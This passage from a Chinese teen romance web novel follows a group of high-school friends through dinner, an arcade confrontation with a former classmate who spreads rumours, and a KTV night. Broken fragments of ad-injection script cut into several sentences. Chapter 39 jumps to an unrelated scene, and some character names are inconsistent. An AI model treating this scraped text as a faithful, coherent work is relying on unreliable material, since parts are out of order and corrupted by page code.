周五这天,学校安排高一高二举办家长会,这种活动对学生们来说是痛并快乐着的事,这意味着可以不用上晚自习早点回家,但有可能需要面对家长们的雷霆批斗。 对骆眀昭来说,倒是没什么所谓,这次她又是班级倒数第六,不过年纪排名上去些,对老骆和王女士来说都是值得欣慰的成绩,她倒是得担心家长会,听说牧时桉爸妈来,分别给姑侄两个开家长会,万一牧正云和骆齐遇上了,可别在校园里就开始争锋相对。 “喂,别走神啦,看着点你爸爸,别错过了。”正发着呆,林雨彤伸手戳了戳她的脸蛋。 闻言,骆眀昭赶紧扬起头,努力在密集的人潮中,寻找那个熟悉的身影:“你个子高,帮我看着点我爸。” 梁若璇被留在班里做板报,她高一就在这栋楼里上学,不需要来接家长,骆眀昭和林雨彤都是高二才从南校区转来的,家长们都没进来过。 “唉,我看见骆叔叔了!”林雨彤说,说完伸手朝着骆齐的方向挥挥手。 身高确有优势,骆齐隔着人群老远就看了她,之后才注意到身侧像个小矮人一般的自己亲闺女。 骆眀昭踮踮脚,往林雨彤指着方向看,老骆穿着件黑色夹克衫,穿梭于人群中。 “骆叔叔。”林雨彤笑着叫人。 骆齐眯起笑,挤出眼角的纹路:“雨彤啊,有段时间都没见过你了,又漂亮啦。” 林雨彤乖巧着:“哎呀,哪有。” 这两人客套着,骆眀昭等他俩这段标准流程走到头,才伸手扯扯老骆的袖子:“快走吧,领您进班我就能回家啦。” 骆齐一推眼镜:“嘿,你这臭丫头!” 林雨彤还要等她妈妈来,三人就在校门口先暂别,骆眀昭带着骆齐进教学楼,顺带着参观介绍学校。 等到两个人进班,教室里零散着坐着几个家长,有互相认识的已经聊起来,独自一人的就看着手里发在每张桌上的成绩单。 黑板上写着漂亮的正楷——欢迎各位家长。 “你坐哪?”骆齐扭过脸去问。 骆眀昭指指靠窗最角落的位置,示意就是在那。 骆齐边往过走,边吐槽着:“又是这么靠后的位置,真不知道你是咋看见黑板的。” “爸!”骆眀昭瞪圆了眼。 安排了骆齐坐下,骆眀昭就嘱咐着最重要的事:“一会儿可能是牧叔叔来开家长会,爸你稍微收敛点啊,能忍则忍,这在学校呢。” 骆齐不服气地一抬头:“你当你爸是啥人?” 骆眀昭撇撇嘴,背上了放在桌上的书包。 平时这两个大人一碰面,就“哼”“嘿”的用鼻腔挤声,不知道的还以为他俩在唱《双截棍》呢,哼哼哈嘿。 “行啦,那我就先走啦,拜拜。”骆眀昭说着,就背着书包离开了教室。 刚出教室门,迎面就是梁若璇小跑过来,摆脱了生理期的梁若璇脱胎换骨,蹦蹦跳跳地就朝着她过来,笑容满面的。 梁若璇这次成绩不错,大概是补课老师真的发挥作用了,如果期末也是这个走向,那么下学期一班很有希望。 “昭昭!我嫂子说我今天晚上能住她家,反正今天放学早,而且好不容易我不用回家,还不补课,咱们晚上出去玩呗!”站在走廊里,梁若璇尽量克制自己的兴奋,但还是忍不住雀跃地跺了跺脚。 骆眀昭欣然答应,说着就要转头回去跟骆齐报备。 骆齐听后,点头同意,不过出于女生安全考虑,还是让她按时跟家里联系,保证安全。 “……回去之后跟你妈也说一声啊,”他嘱咐着,“不过你们都几个孩子去啊?” 骆眀昭愣了一会儿:“雨彤和小璇吧?应该是。” “不叫上小牧吗?有个男生晚上还安全点。”骆齐好奇地说。 是哦。 骆眀昭忽然反应过来,梁若璇要去牧时桉家住,难不成这两人背着他们早就和好了? “应该要叫,哎呀你放心啊,会跟你报备行程的。”骆眀昭说完,背着书包又走出教室,梁若璇和林雨彤都已经等在外面了,看来是都已经得到各自家长的同意。 “走吧,咱们先回家换衣服吧,不想穿着校服出去逛街。”林雨彤提议说。 梁若璇忽然变得很犹豫:“我不想回家,我妈在家肯定要问东问西的,说不定我就出不来了……” 骆眀昭给了个解决方案:“你跟我去我家呗,反正你晚上也回我们小区,先把书包放我家,我有很多均码的衣服,你可以选着试嘛!” 梁若璇眼睛亮晶晶的,恨不得猛地冲上去拥抱她:“真的!昭昭我爱死你了!” 正好梁若璇和林雨彤都骑着电动车,骆眀昭跟着享福, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 坐在了梁若璇的后座,风驰电掣地骑着。 在林雨彤家街口分别,另两人就骑着往他们的目的地走。 骆眀昭环着她的腰,心底暗自琢磨着什么,直到小电驴在红灯前暂停,骆眀昭探出脑袋问道:“小璇啊,你是不是跟牧时桉和好了?” 她已然感受到梁若璇身体似乎僵了一瞬,几秒后又很不自然地说:“咳,就,那样呗。” 这意思是还没和好,她听明白了。 跳到绿灯,梁若璇一拧车把小电驴又走起来,骆眀昭脸贴着她后背,试图压过风声:“那你晚上还住他们家啊!不尴尬吗!” “他住他的卧室,我住客卧,互不干扰!”她回。 “所以晚上出去玩,也不叫他呗?” “……叫他干嘛!” 真犟啊,这姑侄两人真犟啊! 等到了骆家,王乐萍也真好下班后脚跟着进门,她嘱咐几句,就放两个小姑娘去玩。 骆眀昭和梁若璇进了卧室把门一关,开始了疯狂地试衣搭配环节。 - 一班负责引导家长任务的原本是班长和副班长,但班长今天生病请假了,班主任宋晓就随机就近选择了一位倒霉蛋担任这个职务,就是牧时桉。 谁叫他是一进后门最显眼的那个。 上个月月考的成绩单还没来得及打出来,班里又走不开,宋晓就拜托他去复印室拿回来,分发给各个家长。 捧着一摞成绩单回班时,教室里已经满满当当都是家长,宋晓在讲台前的多媒体做着正式开始前最后的调试,牧时桉就从门口顺着分发成绩单,最后才来到他的座位。 他四下看了一圈,只在后排收纳柜顶上看到了属于自己的黑色书包,没能找到他想看到的黄紫色的那只,他偏下头,眸底晦涩不明。 牧正云去给梁若璇开家长会了,座位上的是孙惠,牧时桉转过来时,她正跟骆齐互相吹捧着对方孩子。 “看看小牧全年纪第十,骆眀昭真的是该跟他好好学学。” “昭昭也不错啊,看这文科,语文、英语都一百二十多,平时怎么学的哈哈……” 牧时桉站定到桌边,淡淡地说:“妈,骆叔叔,给。” 骆齐扬起头,笑着问道:“小牧啊?怎么还没回家啊?” “班主任留我帮会儿忙,这就快走了。”他说。 骆齐接过成绩单,刚底下头,又想到什么,抬头又说:“小牧啊,晚上跟骆眀昭他们出去玩的时候,帮叔叔照顾着点啊,大晚上三个小姑娘挺不安全的。” 牧时桉愣了一秒。 晚上?出去?什么时候? 他还发着呆,孙惠已经替他应下:“这肯定的啊,璇璇也去,你看着她点啊。” 牧时桉回过神来,已经明白了什么,顺着轻轻点头。 将剩下的几张印多出来的成绩单放在讲台,牧时桉就完成他的任务准备撤退,他大步朝着自己书包都位置走过去,刚领起书包带,垂下眼,又从裤袋里掏出手机,指尖在上面飞舞着。 牧时桉:【晚上梁若璇她们出去叫你了吗?】 很快几秒后,对面就有了回应。 薛游:【没有啊?晚上要出去?】 牧时桉看着屏幕,扯下去的唇角微微平直了些,只是很快,他还没来得及收起手机,对面就发来。 薛游:【刚叫我了。】 牧时桉:…… 37. 火锅鸡 在王乐萍没有发现卧室里的满目狼藉之前,骆眀昭和梁若璇悄摸摸关上门溜出家。 为了选到件漂亮合适的衣服,几乎将衣柜翻出个底朝天来。 最后骆眀昭穿了套有次心血来潮买来的墨蓝校供大衣,配了一套的JK冬裙,梁若璇则是选了一件长款的牛角扣大衣,里面也是条长杏色连衣裙,黑色打底袜一层薄绒几乎没什么保暖功效,不过都是为了风度不要温度罢了。 没有化妆,少女们就已经像初冬夜里的明亮烛火。 沉下去的夜色伴着呼呼寒风,两人牵着手刚欲走出楼道,就激得让人忍不住起鸡皮疙瘩。 “晚上真的好冷啊。”骆眀昭躲在大衣口袋里的手还在捂着暖宝宝,脑袋不禁往围巾里缩缩。 梁若璇冲着手掌哈了口气,垂下头看亮起的手机屏幕:“我刚问了雨彤,她也刚刚出门,咱们一会儿就打车去商场集合,薛游也会来。” 楼道一层的声控灯那微弱的光源也暗了下去,骆眀昭赶紧跺了下脚,于是它再度亮起来。 “你叫了薛游?”骆眀昭犹豫地问。 梁若璇收起手机,没听出她的言外之意:“是啊,要不咱们三个女生大晚上出门也不安全啊。反正他在家也没事。” 天黑得很早,刚不过七点,绮城就已被夜色笼罩完全。 看来这趟出游,是的的确确要“孤立”一个了,骆眀昭感慨着,心里有些怪,莫名心虚。 “走吧,出租车已经到了。”梁若璇扯了下身旁少女的袖口。 骆眀昭甩甩头,抛开脑子有的没的念头,好不容易今天大家能在这个时间聚在一起玩,还是先别想那么多了。 两人挽着胳膊,慢悠悠地走出小区。 梁若璇将汇合点选在平时常去的一家大型商场,吃喝玩乐一应俱全,而且大都是他们这种高中学生可以负担的价格。 商场一层,林雨彤抱着杯热饮坐在门口的休息椅子上,穿着韩系的棉服和半裙,后来的两人望见她小跑过去,明明就一个小时不见,仍聚在一块格外的激动。 “你俩这是什么?一起穿大衣不叫我?”林雨彤佯装生气。 骆眀昭谄媚地像小猫似的,朝着她蹭蹭脑袋:“哎呀,我彤,你今天也超美的哦,像是从韩剧里走出来的女主。” 梁若璇惊喜地看着她:“雨彤!你涂口红啦?” “唇釉,我带在身上了,你们要不要也涂一点?”说着就从斜挎包里翻出一支蜜桃色的水光唇釉。 一支唇釉从经过一个又一个女生,每个人脸上都因为小小的变化带着点明媚。 “薛游呢?他家离着最近怎么还没来?”梁若璇坐在椅子上臭美地照着镜子,嘀咕着。 林雨彤偷笑:“不会是在打扮自己吧,哈哈。” 很快地薛游从远处走了过来,穿着一身黑色的棒球棉服,比平时在学校时,多了丝痞帅。 林雨彤笑着说:“我说的吧,就是在打扮自己。” 站定到三个女生面前,薛游好奇地问:“咱们先去干嘛?” “求求大家,先吃饭行吗?我真的要饿昏过去了。”骆眀昭哭丧着脸说,早在出租车上她的肚子就已经在没骨气地叫唤了。 梁若璇:“行,走吧,先去找吃的。” 林雨彤凑到梁若璇身侧,一起翻看有什么美食,薛游跟在后面,朝着身后大门望了一眼,欲言又止。 骆眀昭正摘下围巾,余光注意到他的反应:“你想说什么?” “咱们不等……”他低声刚开口,就被骆眀昭嘘声打断。 她用口型描述着,伴着自创的手语,意思说这两人还别扭着呢。 薛游却愣了一秒,不自然地挠挠脸颊,压低声音跟她说:“可是我跟老牧说了咱们晚上要出来玩,我以为你们也叫他了。” 什么!跟他说了! 骆眀昭瞪着眼,那牧时桉不会以为大家在孤立他吧! “你俩说什么呢?我们准备吃火锅鸡,怎么样?A一下还挺便宜的。”林雨彤扭过脸说对两人。 骆眀昭猛地扬起头,搪塞过去:“哦,行,我都可以的。” 林雨彤说完又转过脸跟梁若璇商量团劵,骆眀昭把围巾搭在手臂上,小声跟薛游说着:“先暂时别提牧时桉的事了啊。” “行吧。” 现在状况是,若是临时把牧时桉叫过来,那肯定两个人都不高兴,若是不叫,那牧时桉似乎也太委屈了点,这好像那道经典的电车问题,怎么选都不对。 骆眀昭心底忐忑着,跟着大家上了直梯。 火锅鸡在四楼,人虽然多但好在还有位置,梁若璇跟服务员扫了团购券,四人边坐在椅子上的等着上菜。 “吃完饭咱们去干什么?”梁若曦问。 林雨彤想了想:“要不去电玩城看看,我记得上次去还是初中的时候。” “可以啊。” 骆眀昭坐在卡座角落,心不在焉地低头看着手机屏幕,上面亮着的是跟牧时桉的微信聊天框,顶着个诙谐的汉堡emoji。 是不是应该跟他解释一下呢? 他会不会多想? 事实上在骆眀昭的记忆里,牧时桉给人留下的印象似乎是对什么都提不起兴致的人,他好像没什么热爱的,也没什么特别讨厌的,所以这样的性子大概是很淡漠的。 但她心底总是想着,会很难过吧? 好朋友们唯独抛下他出去玩,尽管他暂时跟梁若璇有矛盾,但这也不是丢下他的理由。 “昭昭,上菜了,你不是饿了吗?”梁若璇忽然在对面唤她,她猛地发出了那条消息,把手机屏幕扣过去。 “哎呀,我有点走神了,”骆眀昭笑着,“哎呀,看起来很好吃嘛,我不客气啦。” 林雨彤急忙阻止她:“等等,我先拍照!” 鸡腿肉被腌制过,带着丝丝甜和香辣口味,蘸着蒜醋调料很下饭,但骆眀昭吃的没滋没味,目光时不时撇向反扣在餐桌上的手机,它似乎没有震动的意思。 而心事重重的人并不只有她一个人,默契地走神,竟令所有人都没注意到桌上其余好友的异样,一顿饭吃得寡言少语。 直到骆眀昭感觉到饱意,手机平放在一旁才轻轻地震了一下,即便店里放着音乐,吵嚷声恼人,她还是一瞬间注意到了这小小的异常,迅速翻起手机, 昭昭是我:【在做什么?】 这是刚刚她发送出的消息。 卅:【刚洗完澡,才看手机。】 骆眀昭捧着手机,无意识地咬着唇,纠结着该说些什么,索性直白。 昭昭是我:【晚上我们四个出来玩了,对不起没有叫你。】 昭昭是我:【你跟小璇现在的状态,我怕叫你再加重你们之间的矛盾。】 卅:【没事。】 卅:【梁若璇之前一直没回我消息,这次不知道她到底在想什么。】 卅:【跟你们没有关系。】 骆眀昭呆住,原来一直犟着不和好的人是小璇吗? 那她到底在想些什么啊? 卅:【你们好好玩,注意安全。】 他又发了这么一句似乎云淡风轻,骆眀昭等了一分钟再没收到回应,最后只能回了句。 昭昭是我:【好。】 “都吃饱了吗?咱们去玩吧!”梁若璇挤出个笑容来。 众人纷纷应声,大家便起身离开餐馆,转移阵地到五层电玩城。 周五晚上,一踏进五彩缤纷闪烁着彩灯的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 店门,瞧见地都是一片的乌泱乌泱人脑袋,差不多都是跟他们同龄。 梁若璇去换了一筐游戏币,大家就开始在店里绕着,寻找自己喜欢的游戏机。 薛游很快就被无人的投篮机吸引走了目光,兴致勃勃投币玩起了定点投篮,篮球不断划过一道道抛物线,分数不断刷新着。 他在学校打篮球就很好,骆眀昭看过几次,身边还围着一群激动的女孩子。 结束后,剩下三人轮番上阵,都玩了一遍, 别的不说,这机器挺减肥,又加上店里人多,商场里开着空调,骆眀昭就玩了一局,脑门上隐隐冒出些汗。 “那边有排抓娃娃机,我看里面的质量还不错唉,咱们去试试?”林雨彤探路回来提议。 众人应合。 一到这种欢乐的地方,几个人慢慢就彻底松懈下来,林雨彤刚刚看见一个机器里有很漂亮的小熊挂件,早就忍不住冲了上去。 娃娃机向来是最受欢迎的地方,人流众多,骆眀昭跟在后面,望着面前越发多的人,大脑顿时一片空白,有些手足无措,甚至同手同脚。 好、好多的人。 她咬着唇,慢慢地跟在朋友们身后,却还是将距离越拉越远。 脑中的弦紧绷着,她一点点挪着步子,小心翼翼传过人群。 林雨彤和梁若璇站在娃娃机前,正准备投币,林雨彤动作一顿,猛地想起什么。 忽然问:“骆眀昭呢?” “昭昭好像还在后面。”梁若璇回说,骆眀昭有前庭失调的事她并不知道。 林雨彤踮脚,瞧见在人群中艰难行走的骆眀昭,惊道:“我靠,忘了!” 说完,赶紧回身过去找她,梁若璇也跟在后面。 “咱们去玩那个吧?” “好啊,走!” 骆眀昭斜前方两个穿着校服的女孩子,正朝着骆眀昭走过来,一个女生半侧着身,骆眀昭正要小心地避过她,她刚好扭过身,手里还举着杯奶茶。 意外就是在此时发生的,女生专注地聊天,没有注意到面前的骆眀昭,等她在回神,端着奶茶的手已经撞在了骆眀昭身上。 “哎呀。”她叫了一声。 骆眀昭感觉手上顿时黏糊糊的,沾着温热的甜奶茶,幸好撒得不多,只不过绝大多都洒在了她的手上和外套上,那个女生只有袖口上浅浅沾上一些。 对面的女生顿时停下脚步,带着怨气地扭过脸看她:“你怎么看路的啊?” 突然的意外让路过的人纷纷好奇地回头,骆眀昭微蹙着眉,感觉浑身被看得发毛。 女生还不依不饶地,跟身边姐妹看着自己袖口:“你看,我校服都脏了!” 骆眀昭没理她,只是淡定地从挂在左肩的制服包里翻出手帕纸,内心感慨还好包面是皮的,防水,衣服颜色也不太明显。 她一下下擦着胸前的水渍,说道:“抱歉,不过刚刚好像是你侧过身没看路,才撞上我的,跟我也什么关系吧?而且你应该能看出,洒在我身上的更多。” 对面像个小炮仗的女生顿时歇火,骆眀昭又伸出手:“你要纸吗?” 说完,拿着张纸巾递过去。 林雨彤和梁若璇这时候赶过来,虽然离着几步但她们也看到全程。 “你别太过分啊,”林雨彤赶紧过来给好姐妹撑腰,又关切地问,“你没事吧?” “哎呀,我能有啥事。” 两个女生自觉不占理,正准备走,刚刚撒奶茶的女生扭过脸,正好对上迎面走来的梁若璇,脸色忽地一变:“梁若璇,怎么是你!” 刚刚两个女生完全背身,梁若璇并没有看到她们的脸,这下转过身,算是看得清清楚楚,她愣着。 怎么是她们! 38. 果盘 人天生都有看热闹的爱好,这好像是刻在基因里的某种恶趣味,电玩城里的突如其来的插曲引得路人纷纷驻足,好奇地看着她们,尤其是在奶茶女生扬声惊呼后。 “这人太多了,有什么想说去那边。”薛游突然出现在她们身后,眼神冷淡下去,微扬起下巴像是指了个方向。看那两位女生的反应,她们似乎认识薛游,奶茶女生闻声轻哼了一声,目光不是很好。 “有什么好说的,走吧。”梁若璇说罢,就想离开。 正欲转身却被奶茶女生叫住:“老同学不叙叙旧吗?” 梁若璇、牧时桉、薛游初中都在二中初中部,骆眀昭恍然,这两个女生他们从前在二中的同学。 梁若璇紧咬着唇,骆眀昭怔怔地看着她,左手那种黏腻的触感还甩不掉,骆眀昭下意识地想要伸手,临了却回过神来,换成那只还算干净的右手,轻轻握住了她。 她很难过。 是那种沁出眼底的悲伤。 梁若璇感受到手心突然的触感,猛地回过神,与身旁的骆眀昭四目相对。 那双眼睛就这么眨巴着,明亮又温暖。 再之后,空着的那只手也被人紧攥住,林雨彤拽着梁若璇,笑了笑:“走吧。” “好。” 薛游作为领头人,带着她们找到了一处人相对没有那么多的角落,一群人面面相觑,奶茶女生抱着胸,没好气地哼了一声。 “好久不见了,咱们初中毕业后就没见过了吧。”她嗓音带着些尖锐。 姐妹在旁边站着就是梁若璇的底气,她抿抿唇,朝前走了半步:“江冉,你别那么阴阳怪气,跟个斗鸡一样,是巴不得让别人看你笑话是吗?” 被叫做江冉的女生脸涨得通红:“梁若璇你还是那么讨人厌!今天真是倒霉,出来居然遇上了你!遇上你就没有还是。” 江冉身旁的女生也帮着同仇敌忾,瞪圆了眼睛瞧着她们:“干什么?你们仗着人多欺负人是吗?” 林雨彤扯开唇角笑了声:“不是,你们刚自己说的要叙旧,现在转身就翻脸不认人了吗?干什么,当街敲诈?” 穿着厚底老爹鞋,她直逼男生身高,站在一旁莫名还有些大姐头的威慑力。 “哼,怎么你这金牌舔狗这么久了还跟着你呢?梁若璇你还是那么魅力无极限啊!薛游你也够可以的,当备胎当的这么开心。”杜冉扬起头,睨了一眼立在一旁没说话的薛游讽刺着。 薛游浑身冷得要命:“把你嘴放干净点。” 那一瞬间,那股熟悉的无力感再度席卷梁若璇的全身,她拼命压制内心翻涌上的那些旧日回忆带给她的酸涩,拳头紧攥着。 凭什么,她究竟是做错了什么! 大概是感觉到她当前居于上风,杜冉不自觉地挺直腰杆,转过头跟一旁的林雨彤梁若璇说:“我劝你们两个,也小心交友不慎,你别看她平时的装得挺好,其实就是为了拿你们当陪衬,用来捧出她多么漂亮高贵,凸显她自己与众不同的优越感来,我就是受害者,从以前到现在都是那么一副讨人厌的bitch样子——” 杜冉越说,面目越显得狰狞起来,回想起初中时的她自以为受的委屈,目光里透着深深的厌恶。 “你闭嘴!”梁若璇再也控制不住自己的情绪,眼眶红着,泪珠也顺着脸颊划过。 “证据呢。”沉默着一直没讲话的骆眀昭忽地开口,目光透出一丝清明。 杜冉被打出个搓手不及:“什么!” “就是你说小璇吊着薛游,作为你口中的''舔狗''或是''备胎'',有什么实质性的证据吗?是你听到了他们之间不得体的对话,还是说他们有任何超出朋友范畴外的不当接触,”她直直地看着杜冉,顿了片刻又说。“以及你说她拿你当陪衬来凸显她,你可以说清楚吗?” 杜冉抱着胸:“恶心事她做都做了,那么久过去去哪找,而且我受到的人身攻击除我以外谁能体会。” 骆眀昭定定看着她:“那请举例说明,比如有什么具体清晰的事件,毕竟谁质疑谁举证嘛。” “我……”杜冉被她如机关枪般的话,说得发愣,有些无措地拽拽姐妹的衣服。 骆眀昭继续逼近:“毕竟空口无凭,你总得拿出什么证据来,要不然上下嘴皮一碰就胡说八道,不就太过分了吗?” “如果这些你都没有的话,你今天说的这些就是对小璇的造谣诽谤污蔑,”说着骆眀昭举起手机,屏幕朝着她晃了晃,杜冉看着录音界面,脸吓得煞白。 她垂下头,手指在屏幕上一点,杜冉的声音响彻周围:“薛游你也够可以的,当备胎当的……” 杜冉气得不行:“你神经病吧,还录音!” “无罪推定的道理你不懂我懂,所以我得留点证据不是,好以后能上门找你要个说法。”骆眀昭狡黠地扬起笑来,手中手机晃着。 薛游、林雨彤一旁听着,双眼瞪大,尤其是薛游,毕竟从没见过骆眀昭这一面。 而且毕竟对方是女生,有些狠话他不方便说。 林雨彤倒是接受还算良好,就是感慨骆眀昭的吵架功力又有所提升,别看她个小小,可不能小瞧。 梁若璇错愕地看着她,甚至忘记流泪,心里不断被某种东西填满。 对啊,这就是她的想法啊,为什么她从前没这么说呢? 那边的杜冉脸煞白,但仍在硬撑着:“你录音也没用,事都是事实——” “既然你觉得受了委屈,那为什么你当初不跟家长老师说明呢?”骆眀昭打断她。“多说多错,你没把柄就别在这耍无赖,我可告诉你,你今天造的遥,等下周开学我们就会去你们学校找你们老师说明,你这是实验一中的校服吧,据我所知,实验没有跑校生,大概率你们也是找了个什么由头偷跑出来玩的吧,这事到时候我也可以跟你们老师说道说道。” 提到最后这件事,杜冉彻底被吓到了,毕竟实验可是出名对学生抓得严厉,她们几乎是仓皇逃窜,让骆眀昭想到《喜羊羊》里,片尾的灰太狼。 吓跑了她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们,骆眀昭才赶快凑到梁若璇的面前,关切地问:“没事吧,小璇。” 梁若璇勉强扬起个笑意来:“我没事。” 望着两个女生离开电玩城的背影,薛游感慨地说:“你真可以啊,居然还想到录音,不过你刚刚说去她们学校是真的啊?” “唉,假的,吓唬她们的,私自录音又没有法律依据,主要是看不惯她这么张牙舞爪地样子,我嫌麻烦。”骆眀昭摆摆手,“而且下周她们开学,咱们也上学啊,怎么有时间去实验打小报告。” 最主要的是,她怕杜冉说出什么更难听的话来,让梁若璇崩溃。 必须及时止损。 林雨彤拍拍她肩膀:“你是怎么知道她俩偷跑出来的?” “实验住校生周六上午才放学呢,我家亲戚是实验的宿管阿姨。”骆眀昭解释道。 这一下,骆眀昭小小的身子,忽然在他们的心里高大起来。 梁若璇怔怔地看着她,忽然鼻尖一酸,猛地朝着她抱了个满怀。 “谢谢你。” “哎呦干嘛呀,不要再发撒魅力了,小璇酱!” 骆眀昭故意装傻打岔,感受到梁若璇将脑袋埋进她肩膀,也回给她一个拥抱,轻轻拍了拍。 “这电玩城沾点晦气,咱们不待了,要不去唱歌吧!”林雨彤也轻轻拍着她。 梁若璇起身,恢复了些能量:“走!” - 商场里没有KTV,四个顶着冷风去街对面找了家唱吧麦颂,开了个中包。 “要果盘吗?”薛游回头问。 骆眀昭猛点头:“必须的啊!” 唱K不就是为了那口果盘吗? 毕竟KTV里有分这样的人,麦霸、气氛组、装不存在以及果盘杀手,骆眀昭就属于后者。 进包厢不久,服务员就端着一个果盘上门,这时候林雨彤和薛游已经激动得开始选歌准备嗨唱了。 骆眀昭别的不着急,先用牙签挑了块火龙果,不错,很甜。 林雨彤侧过脸问:“璇子,骆眀昭,你俩要点什么?骆眀昭你别吃了!” 骆眀昭麻溜停下手里进食动作,刚想回说些什么,梁若璇一拍沙发:“雨彤,给我来首《死了都要爱》!” 骆眀昭、林雨彤:哈? 薛游:哈!!!! 薛游是想阻止的,可看到林雨彤已经手快点上歌,甚至将这首置顶为一首,又瞧见梁若璇跃跃欲试,他知道已经来不及了。 “死了都要爱!!不淋漓尽致不痛快!!” 认真的,另外两姐妹从前只听过梁若璇小哼几句,从没听出什么大问题,这一开唱问题就大了,甚至又是这首经典激情歌曲,难熬的四分半,不能说魔音入耳,也可以说是对耳朵的一种极致折磨。 她放下所有包袱,痛快地释放着,终于一首歌结束,梁若璇放下麦克风,轻呼出口气。 呼,爽了。 剩下听完全程的三人也暗自轻呼出口气——终于结束了。 39. 平安果 回忆涌现似乎就是一瞬之间的事,梁若璇手搭在膝盖上,无意识地缓慢手指轻攥,落于身前牧时桉的目光,带着一丝恍然大悟的了然。 她感概自己居然雷达如此不敏锐,不过更好的解释应该是,因为这段时间他们之间亲密无间,太过熟悉反而会忽略那些的细节。 说起来,大家刚认识不久的时候,她还看出点苗头,那会儿就感觉牧时桉隐隐有哪里不太对劲,几个月过去,竟然把这件事忘个干净。 身旁当事人之一的骆眀昭还因为某人忽然的惊世豪言而震撼地说不出话,梁若璇抬眼,无语中于牧时桉对视,他愣了半秒,后又垂下眼眸,极轻地摇了摇头。 这意思是让她别说破,那必须照做啊! 梁若璇嘴角不自觉吊得很高,喔哦,好不容易捏到一次大侄子的把柄唉。 骆眀昭脑回路九曲十八弯,她甚至还在设想,是不是最近牧时桉财政状况出了些问题,导致他已经穷到吃不起饭了。 要不然什么时候见过他这么爱交朋友,还主动帮加微信。 她犹豫着开口,语气间带着丝不确定:“那你去要加的话,林雨彤那一周的免费午饭就归你了啊。” 牧时桉:“……” 事情好像产生了很大的反作用。 其实骆眀昭跟他加个微信又会怎样呢?说不定只会做个“二道贩子”,把微信号给林雨彤那么一推,从此成为列表里吃灰的存在。 牧时桉却没来由地感觉一阵慌乱,这阵小小的慌乱引起他内心万年平静无波的坚固城堡轻微晃动。 骆眀昭像是春日里盛放的樱花,明媚开朗,身上透着股炙热又旺盛的生命力,让谁都忍不住地打量靠近,无论谁都很容易被这样的人吸引。 他承认,当一个优秀、帅气会引得少女们频频尖叫这样的少年凭空出现,而她又表现出试图接触的征兆时,他可耻地出现妒忌的反应,即便他其实没有立场去表示不愿。 躁动镇定下来后,他也曾懊悔。 他在干什么呢?干涉她的交友自由吗? 可没过脑子的话说出口,是没办法收回去的。 “我不需要。”他淡淡地回了句。 骆眀昭满脑袋问号:“那你这么积极主动干嘛?” “把你们把学神吓跑。”牧时桉抿了抿唇,拖着尾调,言语间让人感觉莫名欠扁,说完起身便拿着手机往林以征的位置走去。 嘿,他什么意思! 骆眀昭猛地将头转去看梁若璇,眼神愤愤,已经感觉拳头硬了。 梁若璇目光扫过牧时桉,无语地扯扯嘴角,但这边还要安抚着像个被点着的炮仗的好姐妹,伸手摸摸她的脑袋。 大侄子,你这样会把女生气跑的。 从他们的画面里,牧时桉走上前去,曲指轻敲了敲林以征的桌面,正在安静自习的林以征摘下耳机扬起头,不知道两人具体说了些什么,林以征就掏出手机里的二维码,两人互加了微信。 好友通过,牧时桉垂下眼在屏幕上滑动,握着手机大步又朝他们的位置走过来。 “我把微信已经推给林雨彤了。”他随意地在椅子上坐下,双腿交叠着。 骆眀昭愣了两秒:“就、这么简单?你都跟他说什么了?” “直说。” “直说??” 玻璃窗外,一个高挑的身影逐渐逼近,薛游骑着赛车朝这边过来。 牧时桉侧头见等待的人已经到了,手拿过一旁放着的球拍包,慢条斯理:“就是也是八中的,有个人已经想加他微信,但一直没碰到他,刚好碰见所以拜托我帮忙。” “他还真加?也不怕是坏人?”梁若璇也愣住,“学霸的脑回路可真清奇。” “薛游来了,”牧时桉将长羽绒服的领子拉高了些,缓缓起身,声音懒洋洋的。“怎么样?趁着这个机会,你们要不要也加一下?” 原本就是作为林雨彤的工具人,那现在她既然都有人家微信,她还多此一举干嘛。 骆眀昭摆摆手:“我不用。” “我也不用。”梁若璇若有所思地看了牧时桉一眼,回道。 牧时桉眼睫垂着,不知在想什么,轻嗯了一声,离开咖啡馆。 他走了,咖啡店就是两个女生的战场,事实上梁若璇脸部线条流畅,五官柔和又清冷,无论是那个角度都是完美无缺,根本挑不出死角。 但没有女孩子不希望自己还能更美一些,于是骆眀昭举着相机上窜下跳地各种拍,又拿手机疯狂切换各种APP,总之这一套下来,跟帕梅拉也没什么两样。 “哇,累死我了,拍照也是体力活。”骆眀昭累到瘫在椅子上,梁若璇一张张审着片子。 兴奋地凑到骆眀昭脸颊贴贴:“不错哦好姐妹,超美。” 唔,美女福利。 嘿嘿嘿。 “唉,”梁若璇惊讶一声,随后又压低声音,“大学霸要走了唉。” 闻言,骆眀昭回过头,那边高凳上,林以征已经收拾完书包,起身往店门的方向走出去,他带着有线耳机,神色淡淡。 推门出去那一刻,少年的目光似乎短暂逗留在她们那边,骆眀昭不知道自己是不是看错,因为很快那颜色便消散,少年也推门离去。 “感觉他一定话很少,甚至比大侄子话更少。”梁若璇忽然发表此观点。 骆眀昭挑挑眉:“哦,怎么说?” 梁若璇歪了歪头:“直觉。” 不过确实,今天店里人不多,她俩在这活蹦乱跳地瞎窜一个小时,林以征一直定定地坐在这里,垂下头安静地做着题,手边是一杯仅喝了几口的冰美式。 两人拍累了,没一会儿也拿出作业开始做。 看来这几本练习册倒是拿对了。 骆眀昭少见地先做物理做作业。 经过将近一个月的突击学习,这次月考骆眀昭的成绩终于完美通过七十五分大关,达到自高中以来的巅峰成绩七十六,蔡杨还是很首守信地放她“自由”,不过也约定期末考试必须保持住这个成绩。 林雨彤结束服表课姗姗来迟,虽然小帅哥早已离开这事蛮可惜的,但毕竟微信号已然到手,她也就没那么遗憾。 - 高中生是最爱过节的,无论是洋节或者中华民族传统佳节,毕竟那是大家苦涩平淡生活里的唯一调味剂,不找点乐子的话,日子似乎太难熬了一点。 今年平安夜在周日,同学不在学校,互送平安果的这个“传 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 统美德”没能保持,不过骆眀昭他们几乎天天凑在一块,在不在学校又有什么关系呢,所以早早地梁若璇就拉着两个好姐妹去文具店买包果子的彩纸。 